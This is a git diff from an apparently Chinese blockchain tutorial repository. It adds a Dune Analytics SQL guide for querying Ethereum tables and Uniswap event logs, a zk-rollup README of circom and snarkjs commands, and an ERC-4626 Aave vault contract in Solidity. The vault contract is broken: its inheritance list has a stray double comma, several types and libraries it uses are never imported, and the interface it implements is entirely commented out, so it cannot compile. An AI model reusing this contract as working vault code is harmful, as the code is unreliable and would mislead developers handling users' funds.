+DuneAnalytics 是一个研究以太坊智能合约数据的强大工具，它可以查询，提取和可视化以太坊区块链上的数据。你在 DuneAnalytics 可以通过 Sql 查询 eth 的线上数据信息，这不需要你运行 Eth 节点，也不需要了解 RPC api，跟在普通数据库使用 Sql 体验一样。
+教程： https://sixdegreelab.gitbook.io/mastering-chain-analytics/00_introductions
+## 通俗解释
+
+简单来说，DuneAnalytics = PostgreSQL + Ethereum 的组合，PostgreSQL 是世界上非常知名的数据库软件，比 Mysql 更加强大，是贫民版的 Oracle 数据库（甲骨文数据库，跟预言机关系不大）。
+
+DuneAnalytics 是把 Eth 的链上数据，已结构化的形式存放到数据库中，只要你会用 Sql，就可以构造不同的查询条件进行灵活的查询。
+
+## PostgreSQL
+
+### 严格的sql格式
+
+pgsql对Sql语法的要求非常严苛，更接近 Sql 标准，比mysql要严格。
+
+```sql
+author= 'bob' -- 正确
+
+author= "bob" -- 错误
+```
+
+### 系统函数表
+关键字：`information_schema` `pg_catalog`
+
+```sql
+-- 查询 duneanalytics 所有数据库的所有表
+SELECT * FROM pg_catalog.pg_tables
+WHERE schemaname != 'pg_catalog' AND
+    schemaname != 'information_schema';
+```
+
+```sql
+-- https://duneanalytics.com/queries/50446
+-- 查询表结构
+SELECT
+  table_name,
+  column_name,
+  data_type
+FROM information_schema.columns WHERE table_name = 'blocks';
+```
+
+```sql
+-- 查询 uniswap_v2 数据库的所有表
+SELECT * FROM pg_catalog.pg_tables
+  WHERE schemaname = 'uniswap_v2';
+
+-- 模糊查询，查询数据库名类似 aave 的数据库
+SELECT DISTINCT(schemaname) FROM pg_catalog.pg_tables
+  WHERE schemaname LIKE '%aave%';
+
+-- 模糊查询，查询表名类似 evt 的表
+SELECT DISTINCT(tablename) FROM pg_catalog.pg_tables
+  WHERE tablename LIKE '%evt%';
+
+-- 模糊查询，查询uniswap_v2数据库中表名类似 evt 的表
+SELECT DISTINCT(tablename) FROM pg_catalog.pg_tables
+  WHERE tablename LIKE '%evt%' and schemaname = 'uniswap_v2';
+```
+
+## DuneAnalytics 常见表的数据结构
+
+### blocks
+
+记录区块数据
+
+```sql
+-- https://duneanalytics.com/queries/50446
+
+select * from ethereum.blocks order by time desc limit 1;
+```
+
+
+### transactions
+
+记录交易数据
+
+```sql
+select * from ethereum.transactions order by block_time desc limit 1;
+
+-- https://duneanalytics.com/queries/50439
+```
+
+### contracts
+
+记录合约数据
+
+```sql
+-- https://duneanalytics.com/queries/50448
+
+select * from  ethereum.contracts order by created_at desc limit 1;
+
+SELECT
+  table_name,
+  column_name,
+  data_type
+FROM information_schema.columns WHERE table_name = 'contracts';
+```
+
+### logs
+
+记录 eth 所有的事件，包括 transfer、mint、burn 等
+
+```sql
+-- https://duneanalytics.com/queries/50451
+
+SELECT
+  table_name,
+  column_name,
+  data_type
+FROM information_schema.columns WHERE table_name = 'logs';
+
+select * from ethereum.logs limit 1;
+```
+
+### prices.layer1_usd 表
+
+以分钟为单位的 ETH 和许多其他流行代币的价格表
+
+```sql
+SELECT * FROM pg_catalog.pg_tables
+  WHERE schemaname = 'prices';
+
+select * from prices.layer1_usd order by minute desc limit 1;
+
+select * from prices.layer1_usd where symbol='ETH' order by minute desc limit 5;
+
+SELECT DISTINCT(symbol) from prices.layer1_usd limit 10;
+```
+
+### erc20."ERC20_evt_Transfer" 表
+
+记录发送 token 时触发的所有转账事件
+
+```sql
+SELECT * FROM pg_catalog.pg_tables
+  WHERE schemaname = 'erc20';
+
+select * from erc20.tokens limit 10;
+
+select * from erc20."ERC20_evt_Transfer" limit 10;
+
+select * from erc20."ERC20_evt_Transfer" order by evt_block_time limit 10; -- 表名必须是 erc20."ERC20_evt_Transfer"
+
+```
+
+---
+
+## 重点说说 logs 表相关的内容
+
+### 如何得到 event logs hash
+
+请看以下连接，这里不做过多介绍
+
+https://medium.com/mycrypto/understanding-event-logs-on-the-ethereum-blockchain-f4ae7ba50378
+
+https://etherscan.io/tx/0xe64069acd123ec94b8a3316378183ba8bf42b40979df3b0bb57b0e7b9e47ef38#eventlog
+
+### uniswap 常见的 event logs hash
+
+```sql
+PairCreated(address,address,address,uint256) 0x0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9
+
+Swap() 0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822
+
+Sync() 0x1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1
+
+Mint() 0x4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f
+
+Burn() 0xdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496
+```
+
+### eth-usdt 交易对 为例
+
+详细数据请看 https://v2.info.uniswap.org/pair/0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852
+
+我们找到 eth-usdt 交易对的合约地址是 `0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852`。
+
+```sql
+-- 交易对产生了多少事件？
+-- 结果 6124700
+select count(*) from ethereum.logs where
+  "contract_address"= '\x0d4a11d5eeaac28ec3f61d100daf4d40471f1852';
+```
+
+
+```sql
+-- 合约创建日期
+-- 运行了10分钟 还没有结果
+select block_time, block_number, tx_index from ethereum.logs
+  where "contract_address"= '\x0d4a11d5eeaac28ec3f61d100daf4d40471f1852'
+  order by "block_time" asc limit 1;
+```
+
+```sql
+-- pair 添加流动性次数
+-- 结果 37176
+select count(*) from ethereum.logs
+  where "contract_address"= '\x0d4a11d5eeaac28ec3f61d100daf4d40471f1852'
+  and "topic1" = '\x4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f';
+```
+
+## Parameter
+
+Parameter 是变量替换
+
+https://docs.duneanalytics.com/about/tutorials/dune-guides/tips#filter-queries-and-dashboards-with-parameters
+
+```sql
+select count(*) from ethereum.logs where
+  "contract_address"= CONCAT('\x', substring('{{token_addr}}' from 3))::bytea;
+```
+
+## 例子
+
+### 过去10天 每天发送的ETH的总量
+```sql
+select date_trunc('day', block_time) as "Date", sum(value/1e18) as "Value"
+from ethereum."transactions"
+where block_time > now() - interval '10 days'
+group by 1 order by 1
+
+--group by 1 按照 第1个字段分组
+--order by 1 按照 第1个字段排序
+```
+
+### Top 10 token holders 查询代币的分配情况
+
+```sql
+WITH transfers AS (
+  SELECT
+    evt_block_time,
+    tr."from" AS address,
+    -tr.value AS amount,
+    contract_address
+     FROM erc20."ERC20_evt_Transfer" tr
+    WHERE contract_address = CONCAT('\x', substring('{{Token Address}}' from 3))::bytea -- Allow user to input 0x... format and convert to \x... format
+
+UNION ALL
+
+    SELECT
+    evt_block_time,
+    tr."to" AS address,
+    tr.value AS amount,
+      contract_address
+     FROM erc20."ERC20_evt_Transfer" tr
+     WHERE contract_address = CONCAT('\x', substring('{{Token Address}}' from 3))::bytea -- Allow user to input 0x... format and convert to \x... format
+)
+
+SELECT
+  address,
+  sum(amount/10^decimals) as balance
+  FROM transfers tr
+  LEFT JOIN erc20.tokens tok ON tr.contract_address = tok.contract_address
+  GROUP BY 1
+  ORDER BY 2 DESC
+  LIMIT 10
+```
+
+### 查询 uniswapV3 nft 添加流动性信息
+
+关键是找到表 `NonfungibleTokenPositionManager_evt_IncreaseLiquidity`
+
+
+```sql
+-- 查询 uniswap_v3 数据库的所有表
+SELECT * FROM pg_catalog.pg_tables
+  WHERE schemaname = 'uniswap_v3';
+
+  -- 模糊查询，查询表名类似 evt 的表
+SELECT DISTINCT(tablename) FROM pg_catalog.pg_tables
+  WHERE tablename LIKE '%evt%' and schemaname = 'uniswap_v3';
+
+ select * from  uniswap_v3."NonfungibleTokenPositionManager_evt_IncreaseLiquidity" where
+   contract_address = '\xc36442b4a4522e871399cd717abdd847ab11fe88';
+```
+
+### mastering-chain-analytics
+https://sixdegreelab.gitbook.io/mastering-chain-analytics/
+
+入门教程：https://0xbi.mirror.xyz/6cbedGOx0GwZdvuxHeyTAgn333jaT34y-2qryvh8Fio
+## 参考链接
+
+- 视频：https://www.bilibili.com/video/BV1ZK4y137Ce
+
+- nansen说明书： https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/papers/7-tool/nansen中文说明书.pdf
+
+- https://qiita.com/shooter/items/3b66fc6400bc49854ffe
+
+- https://learnblockchain.cn/article/1746
+
+- https://docs.duneanalytics.com/data-tables/data-tables/raw-data/ethereum-data
+
+- https://duneanalytics.com/browse/queries?user_name=shooter
+
+- https://app.flipsidecrypto.com/velocity
+
+- https://glassnode.com/
+
+- 视频： https://ournetwork.mirror.xyz/gP16wLY-9BA1E_ZuOSv1EUAgYGfK9mELNza8cfgMWPQ 
+
+- Dune Youtube channel: <https://www.youtube.com/channel/UCPrm9d2hLd_YxSExH7oRyAg>
+
+- Dune docs: <https://docs.dune.xyz/>
+
+- Dune abstractions 常用查询语句: <https://github.com/duneanalytics/abstractions>
+
+- PostgreSQL freeCodeCamp教程: <https://www.youtube.com/watch?v=qw--VYLpxG4>
\ No newline at end of file
diff --git a/basic/36-zk-rollup/README.md b/basic/36-zk-rollup/README.md
new file mode 100644
index 000000000..9fa4c902f
--- /dev/null
+++ b/basic/36-zk-rollup/README.md
@@ -0,0 +1,39 @@
+# Zk-rollup
+
+
+## 执行步骤
+1. compile 
+```
+    circom sample_circuit.circom -o circuit.json
+```
+
+2. Generate your input for the circuit
+```
+node generate_circuit_input.js
+```
+
+3. Calculate the witness for the circuit
+```
+snarkjs calculatewitness -c circuit.json -i input.json
+
+```
+
+4. Perform trusted setup
+```
+snarkjs setup -c circuit.json --protocol groth
+```
+
+5. Generate the proof
+```
+snarkjs proof -w witness.json --pk proving_key.json
+```
+
+6. Verify the proof
+
+```
+snarkjs verify
+```
+## 参考文档
+- ZkRollup Tutorial: https://keen-noyce-c29dfa.netlify.app/#3
+- rollupnc github: https://github.com/rollupnc/RollupNC
+
diff --git a/basic/36-zk-rollup/RollupNC_tutorial b/basic/36-zk-rollup/RollupNC_tutorial
new file mode 160000
index 000000000..7c67b63fc
--- /dev/null
+++ b/basic/36-zk-rollup/RollupNC_tutorial
@@ -0,0 +1 @@
+Subproject commit 7c67b63fc046d93400cf80f104c9cc8396cf3ff8
diff --git a/basic/37-erc4626/.gitignore b/basic/37-erc4626/.gitignore
new file mode 100644
index 000000000..e8c12ff4f
--- /dev/null
+++ b/basic/37-erc4626/.gitignore
@@ -0,0 +1,17 @@
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+# Hardhat Ignition default folder for deployments against a local node
+ignition/deployments/chain-31337
diff --git a/basic/37-erc4626/contracts/ATokenVault.sol b/basic/37-erc4626/contracts/ATokenVault.sol
new file mode 100644
index 000000000..43611bbc1
--- /dev/null
+++ b/basic/37-erc4626/contracts/ATokenVault.sol
@@ -0,0 +1,439 @@
+// SPDX-License-Identifier: UNLICENSED
+// All Rights Reserved © AaveCo
+
+pragma solidity ^0.8.10;
+
+import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
+import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
+import {SafeERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
+import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
+                      
+import {EIP712Upgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
+import { Math } from "@openzeppelin/contracts-upgradeable/utils/math/Math.sol";
+import {IncentivizedERC20} from "@aave/core-v3/contracts//tokenization/base/IncentivizedERC20.sol";
+import {IPoolAddressesProvider} from "@aave/core-v3/contracts//interfaces/IPoolAddressesProvider.sol";
+import {IPool} from "@aave/core-v3/contracts/interfaces/IPool.sol";
+import {IAToken} from "@aave/core-v3/contracts//interfaces/IAToken.sol";
+import {DataTypes as AaveDataTypes} from "@aave/core-v3/contracts/protocol/libraries/types/DataTypes.sol";
+import {WadRayMath} from "@aave/core-v3/contracts/protocol/libraries/math/WadRayMath.sol";
+import {IRewardsController} from "@aave/periphery-v3/contracts/rewards/interfaces/IRewardsController.sol";
+import {IATokenVault} from "./interfaces/IATokenVault.sol";
+import {ATokenVaultStorage} from "./ATokenVaultStorage.sol";
+
+/**
+ * @title ATokenVault
+ * @author Aave Protocol
+ * @notice An ERC-4626 vault for Aave V3, with support to add a fee on yield earned.
+ */
+contract ATokenVault is ERC4626, Ownable, , ATokenVaultStorage, IATokenVault {
+    using SafeERC20Upgradeable for IERC20Upgradeable;
+    using MathUpgradeable for uint256;
+
+
+    uint256 constant AAVE_ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF;
+    uint256 constant AAVE_FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF;
+    uint256 constant AAVE_PAUSED_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFF;
+    uint256 constant AAVE_SUPPLY_CAP_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFF000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
+    uint256 constant AAVE_SUPPLY_CAP_BIT_POSITION = 116;
+    uint256 constant SCALE = 1e18;
+
+        /// @inheritdoc IATokenVault
+    IPoolAddressesProvider public immutable POOL_ADDRESSES_PROVIDER;
+
+    /// @inheritdoc IATokenVault
+    IPool public immutable AAVE_POOL;
+
+    /// @inheritdoc IATokenVault
+    IAToken public immutable ATOKEN;
+
+    /// @inheritdoc IATokenVault
+    IERC20 public immutable UNDERLYING;
+
+    /// @inheritdoc IATokenVault
+    uint16 public immutable REFERRAL_CODE;
+
+
+
+
+    /**
+     * @dev Constructor.
+     * @param underlying The underlying ERC20 asset which can be supplied to Aave
+     * @param referralCode The Aave referral code to use for deposits from this vault
+     * @param poolAddressesProvider The address of the Aave v3 Pool Addresses Provider
+     */
+    constructor(address underlying, uint16 referralCode, IPoolAddressesProvider poolAddressesProvider) {
+        _disableInitializers();
+        POOL_ADDRESSES_PROVIDER = poolAddressesProvider;
+        AAVE_POOL = IPool(poolAddressesProvider.getPool());
+        REFERRAL_CODE = referralCode;
+        UNDERLYING = IERC20Upgradeable(underlying);
+
+        address aTokenAddress = AAVE_POOL.getReserveData(address(underlying)).aTokenAddress;
+        require(aTokenAddress != address(0), "ASSET_NOT_SUPPORTED");
+        ATOKEN = IAToken(aTokenAddress);
+    }
+
+    /**
+     * @notice Initializes the vault, setting the initial parameters and initializing inherited contracts.
+     * @dev It requires an initial non-zero deposit to prevent a frontrunning attack (in underlying tokens). Note
+     * that care should be taken to provide a non-trivial amount, but this depends on the underlying asset's decimals.
+     * @dev It does not initialize the OwnableUpgradeable contract to avoid setting the proxy admin as the owner.
+     * @param owner The owner to set
+     * @param initialFee The initial fee to set, expressed in wad, where 1e18 is 100%
+     * @param shareName The name to set for this vault
+     * @param shareSymbol The symbol to set for this vault
+     * @param initialLockDeposit The initial amount of underlying assets to deposit
+     */
+    function initialize(
+        address owner,
+        uint256 initialFee,
+        string memory shareName,
+        string memory shareSymbol,
+        uint256 initialLockDeposit
+    ) external initializer {
+        require(owner != address(0), "ZERO_ADDRESS_NOT_VALID");
+        require(initialLockDeposit != 0, "ZERO_INITIAL_LOCK_DEPOSIT");
+        _transferOwnership(owner);
+        _setFee(initialFee);
+
+        UNDERLYING.safeApprove(address(AAVE_POOL), type(uint256).max);
+
+        _handleDeposit(initialLockDeposit, address(this), msg.sender, false);
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        DEPOSIT/WITHDRAWAL LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    /// @inheritdoc IATokenVault
+    function deposit(uint256 assets, address receiver) public override(ERC4626, IATokenVault) returns (uint256) {
+        return _handleDeposit(assets, receiver, msg.sender, false);
+    }
+
+ 
+
+    /// @inheritdoc IATokenVault
+    function mint(uint256 shares, address receiver) public override(ERC4626, IATokenVault) returns (uint256) {
+        return _handleMint(shares, receiver, msg.sender, false);
+    }
+
+    /// @inheritdoc IATokenVault
+
+
+    /// @inheritdoc IATokenVault
+    function withdraw(
+        uint256 assets,
+        address receiver,
+        address owner
+    ) public override(ERC4626, IATokenVault) returns (uint256) {
+        return _handleWithdraw(assets, receiver, owner, msg.sender, false);
+    }
+
+    /// @inheritdoc IATokenVault
+  
+
+    /// @inheritdoc IATokenVault
+    function redeem(
+        uint256 shares,
+        address receiver,
+        address owner
+    ) public override(ERC4626, IATokenVault) returns (uint256) {
+        return _handleRedeem(shares, receiver, owner, msg.sender, false);
+    }
+
+    /// @inheritdoc IATokenVault
+    function maxDeposit(address) public view override(ERC4626, IATokenVault) returns (uint256) {
+        return _maxAssetsSuppliableToAave();
+    }
+
+    /// @inheritdoc IATokenVault
+    function maxMint(address) public view override(ERC4626, IATokenVault) returns (uint256) {
+        return _convertToShares(_maxAssetsSuppliableToAave(), MathUpgradeable.Rounding.Down);
+    }
+
+    /// @inheritdoc IATokenVault
+    function maxWithdraw(address owner) public view override(ERC4626, IATokenVault) returns (uint256) {
+        uint256 maxWithdrawable = _maxAssetsWithdrawableFromAave();
+        return
+            maxWithdrawable == 0 ? 0 : maxWithdrawable.min(_convertToAssets(balanceOf(owner), MathUpgradeable.Rounding.Down));
+    }
+
+    /// @inheritdoc IATokenVault
+    function maxRedeem(address owner) public view override(ERC4626, IATokenVault) returns (uint256) {
+        uint256 maxWithdrawable = _maxAssetsWithdrawableFromAave();
+        return
+            maxWithdrawable == 0 ? 0 : _convertToShares(maxWithdrawable, MathUpgradeable.Rounding.Down).min(balanceOf(owner));
+    }
+
+    /// @inheritdoc IATokenVault
+    function previewDeposit(uint256 assets) public view override(ERC4626, IATokenVault) returns (uint256) {
+        return _convertToShares(_maxAssetsSuppliableToAave().min(assets), MathUpgradeable.Rounding.Down);
+    }
+
+    /// @inheritdoc IATokenVault
+    function previewMint(uint256 shares) public view override(ERC4626, IATokenVault) returns (uint256) {
+        return _convertToAssets(shares, MathUpgradeable.Rounding.Up).min(_maxAssetsSuppliableToAave());
+    }
+
+    /// @inheritdoc IATokenVault
+    function previewWithdraw(uint256 assets) public view override(ERC4626, IATokenVault) returns (uint256) {
+        uint256 maxWithdrawable = _maxAssetsWithdrawableFromAave();
+        return maxWithdrawable == 0 ? 0 : _convertToShares(maxWithdrawable.min(assets), MathUpgradeable.Rounding.Up);
+    }
+
+    /// @inheritdoc IATokenVault
+    function previewRedeem(uint256 shares) public view override(ERC4626, IATokenVault) returns (uint256) {
+        uint256 maxWithdrawable = _maxAssetsWithdrawableFromAave();
+        return maxWithdrawable == 0 ? 0 : _convertToAssets(shares, MathUpgradeable.Rounding.Down).min(maxWithdrawable);
+    }
+
+
+
+    /*//////////////////////////////////////////////////////////////
+                          ONLY OWNER FUNCTIONS
+    //////////////////////////////////////////////////////////////*/
+
+    /// @inheritdoc IATokenVault
+    function setFee(uint256 newFee) public override onlyOwner {
+        _accrueYield();
+        _setFee(newFee);
+    }
+
+    /// @inheritdoc IATokenVault
+    function withdrawFees(address to, uint256 amount) public override onlyOwner {
+        _accrueYield();
+        require(amount <= _s.accumulatedFees, "INSUFFICIENT_FEES"); // will underflow below anyway, error msg for clarity
+
+        _s.accumulatedFees -= uint128(amount);
+
+        ATOKEN.transfer(to, amount);
+
+        _s.lastVaultBalance = uint128(ATOKEN.balanceOf(address(this)));
+
+        emit FeesWithdrawn(to, amount, _s.lastVaultBalance, _s.accumulatedFees);
+    }
+
+    /// @inheritdoc IATokenVault
+    function claimRewards(address to) public override onlyOwner {
+        require(to != address(0), "CANNOT_CLAIM_TO_ZERO_ADDRESS");
+
+        address[] memory assets = new address[](1);
+        assets[0] = address(ATOKEN);
+        (address[] memory rewardsList, uint256[] memory claimedAmounts) = IRewardsController(
+            address(IncentivizedERC20(address(ATOKEN)).getIncentivesController())
+        ).claimAllRewards(assets, to);
+
+        emit RewardsClaimed(to, rewardsList, claimedAmounts);
+    }
+
+    /// @inheritdoc IATokenVault
+    function emergencyRescue(address token, address to, uint256 amount) public override onlyOwner {
+        require(token != address(ATOKEN), "CANNOT_RESCUE_ATOKEN");
+
+        IERC20Upgradeable(token).safeTransfer(to, amount);
+
+        emit EmergencyRescue(token, to, amount);
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                          VIEW FUNCTIONS
+    //////////////////////////////////////////////////////////////*/
+
+    /// @inheritdoc IATokenVault
+    function totalAssets() public view override(ERC4626, IATokenVault) returns (uint256) {
+        // Report only the total assets net of fees, for vault share logic
+        return ATOKEN.balanceOf(address(this)) - getClaimableFees();
+    }
+
+    /// @inheritdoc IATokenVault
+    function getClaimableFees() public view override returns (uint256) {
+        uint256 newVaultBalance = ATOKEN.balanceOf(address(this));
+
+        // Skip computation if there is no yield
+        if (newVaultBalance <= _s.lastVaultBalance) {
+            return _s.accumulatedFees;
+        }
+
+        uint256 newYield = newVaultBalance - _s.lastVaultBalance;
+        uint256 newFees = newYield.mulDiv(_s.fee, SCALE, MathUpgradeable.Rounding.Down);
+
+        return _s.accumulatedFees + newFees;
+    }
+
+    /// @inheritdoc IATokenVault
+    function getSigNonce(address signer) public view override returns (uint256) {
+        return _sigNonces[signer];
+    }
+
+    /// @inheritdoc IATokenVault
+    function getLastVaultBalance() public view override returns (uint256) {
+        return _s.lastVaultBalance;
+    }
+
+    /// @inheritdoc IATokenVault
+    function getFee() public view override returns (uint256) {
+        return _s.fee;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                          INTERNAL FUNCTIONS
+    //////////////////////////////////////////////////////////////*/
+
+    function _setFee(uint256 newFee) internal {
+        require(newFee <= SCALE, "FEE_TOO_HIGH");
+
+        uint256 oldFee = _s.fee;
+        _s.fee = uint64(newFee);
+
+        emit FeeUpdated(oldFee, newFee);
+    }
+
+    function _accrueYield() internal {
+        uint256 newVaultBalance = ATOKEN.balanceOf(address(this));
+
+        // Skip computation if there is no yield
+        if (newVaultBalance <= _s.lastVaultBalance) {
+            return;
+        }
+
+        uint256 newYield = newVaultBalance - _s.lastVaultBalance;
+        uint256 newFeesEarned = newYield.mulDiv(_s.fee, SCALE, MathUpgradeable.Rounding.Down);
+
+        _s.accumulatedFees += uint128(newFeesEarned);
+        _s.lastVaultBalance = uint128(newVaultBalance);
+
+        emit YieldAccrued(newYield, newFeesEarned, newVaultBalance);
+    }
+
+    function _handleDeposit(uint256 assets, address receiver, address depositor, bool asAToken) internal returns (uint256) {
+        if (!asAToken) require(assets <= maxDeposit(receiver), "DEPOSIT_EXCEEDS_MAX");
+        _accrueYield();
+        uint256 shares = super.previewDeposit(assets);
+        require(shares != 0, "ZERO_SHARES"); // Check for rounding error since we round down in previewDeposit.
+        _baseDeposit(_convertToAssets(shares, MathUpgradeable.Rounding.Up), shares, depositor, receiver, asAToken);
+        return shares;
+    }
+
+    function _handleMint(uint256 shares, address receiver, address depositor, bool asAToken) internal returns (uint256) {
+        if (!asAToken) require(shares <= maxMint(receiver), "MINT_EXCEEDS_MAX");
+        _accrueYield();
+        uint256 assets = super.previewMint(shares); // No need to check for rounding error, previewMint rounds up.
+        _baseDeposit(assets, shares, depositor, receiver, asAToken);
+        return assets;
+    }
+
+    function _handleWithdraw(
+        uint256 assets,
+        address receiver,
+        address owner,
+        address allowanceTarget,
+        bool asAToken
+    ) internal returns (uint256) {
+        _accrueYield();
+        require(assets <= maxWithdraw(owner), "WITHDRAW_EXCEEDS_MAX");
+        uint256 shares = super.previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up.
+        _baseWithdraw(assets, shares, owner, receiver, allowanceTarget, asAToken);
+        return shares;
+    }
+
+    function _handleRedeem(
+        uint256 shares,
+        address receiver,
+        address owner,
+        address allowanceTarget,
+        bool asAToken
+    ) internal returns (uint256) {
+        _accrueYield();
+        require(shares <= maxRedeem(owner), "REDEEM_EXCEEDS_MAX");
+        uint256 assets = super.previewRedeem(shares);
+        require(assets != 0, "ZERO_ASSETS"); // Check for rounding error since we round down in previewRedeem.
+        _baseWithdraw(assets, shares, owner, receiver, allowanceTarget, asAToken);
+        return assets;
+    }
+
+    function _maxAssetsSuppliableToAave() internal view returns (uint256) {
+        // returns 0 if reserve is not active, frozen, or paused
+        // returns max uint256 value if supply cap is 0 (not capped)
+        // returns supply cap - current amount supplied as max suppliable if there is a supply cap for this reserve
+
+        AaveDataTypes.ReserveData memory reserveData = AAVE_POOL.getReserveData(address(UNDERLYING));
+
+        uint256 reserveConfigMap = reserveData.configuration.data;
+        uint256 supplyCap = (reserveConfigMap & ~AAVE_SUPPLY_CAP_MASK) >> AAVE_SUPPLY_CAP_BIT_POSITION;
+
+        if (
+            (reserveConfigMap & ~AAVE_ACTIVE_MASK == 0) ||
+            (reserveConfigMap & ~AAVE_FROZEN_MASK != 0) ||
+            (reserveConfigMap & ~AAVE_PAUSED_MASK != 0)
+        ) {
+            return 0;
+        } else if (supplyCap == 0) {
+            return type(uint256).max;
+        } else {
+            // Reserve's supply cap - current amount supplied
+            // See similar logic in Aave v3 ValidationLogic library, in the validateSupply function
+            // https://github.com/aave/aave-v3-core/blob/a00f28e3ad7c0e4a369d8e06e0ac9fd0acabcab7/contracts/protocol/libraries/logic/ValidationLogic.sol#L71-L78
+            uint256 currentSupply = WadRayMath.rayMul(
+                (ATOKEN.scaledTotalSupply() + uint256(reserveData.accruedToTreasury)),
+                reserveData.liquidityIndex
+            );
+            uint256 supplyCapWithDecimals = supplyCap * 10 ** decimals();
+            return supplyCapWithDecimals > currentSupply ? supplyCapWithDecimals - currentSupply : 0;
+        }
+    }
+
+    function _maxAssetsWithdrawableFromAave() internal view returns (uint256) {
+        // returns 0 if reserve is not active, or paused
+        // otherwise, returns available liquidity
+
+        AaveDataTypes.ReserveData memory reserveData = AAVE_POOL.getReserveData(address(UNDERLYING));
+
+        uint256 reserveConfigMap = reserveData.configuration.data;
+
+        if ((reserveConfigMap & ~AAVE_ACTIVE_MASK == 0) || (reserveConfigMap & ~AAVE_PAUSED_MASK != 0)) {
+            return 0;
+        } else {
+            return UNDERLYING.balanceOf(address(ATOKEN));
+        }
+    }
+
+    function _baseDeposit(uint256 assets, uint256 shares, address depositor, address receiver, bool asAToken) private {
+        // Need to transfer before minting or ERC777s could reenter.
+        if (asAToken) {
+            ATOKEN.transferFrom(depositor, address(this), assets);
+        } else {
+            UNDERLYING.safeTransferFrom(depositor, address(this), assets);
+            AAVE_POOL.supply(address(UNDERLYING), assets, address(this), REFERRAL_CODE);
+        }
+        _s.lastVaultBalance = uint128(ATOKEN.balanceOf(address(this)));
+
+        _mint(receiver, shares);
+
+        emit Deposit(depositor, receiver, assets, shares);
+    }
+
+    function _baseWithdraw(
+        uint256 assets,
+        uint256 shares,
+        address owner,
+        address receiver,
+        address allowanceTarget,
+        bool asAToken
+    ) private {
+        if (allowanceTarget != owner) {
+            _spendAllowance(owner, allowanceTarget, shares);
+        }
+
+        _burn(owner, shares);
+
+        // Withdraw assets from Aave v3 and send to receiver
+        if (asAToken) {
+            ATOKEN.transfer(receiver, assets);
+        } else {
+            AAVE_POOL.withdraw(address(UNDERLYING), assets, receiver);
+        }
+        _s.lastVaultBalance = uint128(ATOKEN.balanceOf(address(this)));
+
+        emit Withdraw(allowanceTarget, receiver, owner, assets, shares);
+    }
+}
\ No newline at end of file
diff --git a/basic/37-erc4626/contracts/ATokenVaultStorage.sol b/basic/37-erc4626/contracts/ATokenVaultStorage.sol
new file mode 100644
index 000000000..a72ea96d9
--- /dev/null
+++ b/basic/37-erc4626/contracts/ATokenVaultStorage.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: UNLICENSED
+// All Rights Reserved © AaveCo
+
+pragma solidity ^0.8.10;
+
+/**
+ * @title ATokenVaultStorage
+ * @author Aave Protocol
+ * @notice Contains storage variables for the ATokenVault.
+ */
+abstract contract ATokenVaultStorage {
+    mapping(address => uint256) internal _sigNonces;
+
+    struct Storage {
+        // total aToken incl. fees
+        uint128 lastVaultBalance;
+        // fees accrued since last updated
+        uint128 accumulatedFees;
+        // Deprecated storage gap
+        uint40 __deprecated_gap;
+        // as a fraction of 1e18
+        uint64 fee;
+        // Reserved storage space to allow for layout changes in the future
+        uint256[50] __gap;
+    }
+
+    Storage internal _s;
+}
\ No newline at end of file
diff --git a/basic/37-erc4626/contracts/interfaces/IATokenVault.sol b/basic/37-erc4626/contracts/interfaces/IATokenVault.sol
new file mode 100644
index 000000000..b827d1e7f
--- /dev/null
+++ b/basic/37-erc4626/contracts/interfaces/IATokenVault.sol
@@ -0,0 +1,272 @@
+// // SPDX-License-Identifier: UNLICENSED
+// // All Rights Reserved © AaveCo
+
+// pragma solidity ^0.8.10;
+
+// import {IERC20Upgradeable} from "@openzeppelin-upgradeable/interfaces/IERC20Upgradeable.sol";
+// import {IERC4626Upgradeable} from "@openzeppelin-upgradeable/interfaces/IERC4626Upgradeable.sol";
+// import {IPoolAddressesProvider} from "@aave-v3-core/interfaces/IPoolAddressesProvider.sol";
+// import {IPool} from "@aave-v3-core/interfaces/IPool.sol";
+// import {IAToken} from "@aave-v3-core/interfaces/IAToken.sol";
+// import {IRewardsController} from "@aave-v3-periphery/rewards/interfaces/IRewardsController.sol";
+
+// /**
+//  * @title IATokenVault
+//  * @author Aave Protocol
+//  *
+//  * @notice Defines the basic interface of the ATokenVault
+//  */
+// interface IATokenVault is IERC4626Upgradeable {
+//     /**
